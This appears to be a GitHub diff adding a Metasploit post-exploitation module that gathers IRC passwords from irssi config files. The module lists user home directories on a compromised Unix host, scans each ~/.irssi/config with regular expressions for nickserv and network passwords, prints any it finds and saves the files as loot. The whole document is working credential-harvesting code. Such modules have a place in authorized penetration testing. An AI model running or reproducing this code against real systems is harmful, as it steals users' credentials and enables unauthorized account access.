|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Post |
| 9 | + |
| 10 | + include Msf::Post::File |
| 11 | + include Msf::Post::Unix |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Multi Gather IRSSI IRC Password(s)', |
| 16 | + 'Description' => %q{ |
| 17 | + This module grabs IRSSI IRC credentials. |
| 18 | + }, |
| 19 | + 'Author' => [ |
| 20 | + 'Jonathan Claudius <jclaudius[at]mozilla.com>', |
| 21 | + ], |
| 22 | + 'Platform' => %w{bsd linux osx unix}, |
| 23 | + 'SessionTypes' => %w{shell}, |
| 24 | + 'License' => MSF_LICENSE |
| 25 | + )) |
| 26 | + end |
| 27 | + |
| 28 | + def run |
| 29 | + print_status('Finding ~/.irssi/config') |
| 30 | + paths = enum_user_directories.map { |d| d + '/.irssi/config' } |
| 31 | + paths = paths.select { |f| file?(f) } |
| 32 | + |
| 33 | + if paths.empty? |
| 34 | + print_error('No users found with a ~/.irssi/config file') |
| 35 | + return |
| 36 | + end |
| 37 | + |
| 38 | + download_passwords(paths) |
| 39 | + end |
| 40 | + |
| 41 | + # Example of what we're looking for in the config... |
| 42 | + # |
| 43 | + # ***Identify Password Example*** |
| 44 | + # autosendcmd = "/msg nickserv identify example_password ;wait 2000"; |
| 45 | + # |
| 46 | + # ***Network Password Example*** |
| 47 | + # password = "example_password"; |
| 48 | + # |
| 49 | + def contains_passwords?(path) |
| 50 | + data = read_file(path) |
| 51 | + identify_passwords = data.scan(/\/\^?msg nickserv identify ([^\s]+)/) |
| 52 | + network_passwords = data.scan(/^?password = "([^\s]+)"/) |
| 53 | + |
| 54 | + passwords = identify_passwords.flatten + network_passwords.flatten |
| 55 | + |
| 56 | + if passwords.any? |
| 57 | + print_good("Found IRC password(s) of #{passwords.join(',')} in irssi config at #{path}") |
| 58 | + return true |
| 59 | + end |
| 60 | + |
| 61 | + false |
| 62 | + end |
| 63 | + |
| 64 | + def download_passwords(paths) |
| 65 | + print_status "Looting #{paths.count} files" |
| 66 | + |
| 67 | + paths.each do |path| |
| 68 | + path.chomp! |
| 69 | + next if ['.', '..'].include?(path) |
| 70 | + |
| 71 | + if contains_passwords?(path) |
| 72 | + loot_path = store_loot( |
| 73 | + 'irssi config file', |
| 74 | + 'text/plain', |
| 75 | + session, |
| 76 | + read_file(path), |
| 77 | + path, |
| 78 | + 'IRC Password' |
| 79 | + ) |
| 80 | + print_good("irssi config with passwords stored in #{loot_path}") |
| 81 | + end |
| 82 | + end |
| 83 | + end |
| 84 | + |
| 85 | +end |
0 commit comments